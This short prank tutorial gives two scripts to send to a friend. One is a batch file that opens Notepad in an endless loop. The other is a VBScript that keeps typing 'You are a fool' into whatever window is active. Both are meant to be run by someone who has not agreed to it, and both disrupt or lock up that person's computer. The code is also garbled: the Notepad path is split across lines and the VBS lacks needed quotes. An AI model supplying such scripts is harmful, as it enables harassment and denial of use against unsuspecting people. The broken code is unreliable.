Open Notepad continually in your friend's computer:

Type :
@ECHO off
:top
START %SystemRoot%\system32
otepad.exe
GOTO top

Save it as Anything.BAT and send it. 4.Hack your friend's keyboard and make him type You are a fool simultaneously
Type :
Set wshShell = wscript.CreateObject(WScript.Shell)
do
wscript.sleep 100
wshshell.sendkeys You are a fool.
loop

Save it as Anything.VBS and send it.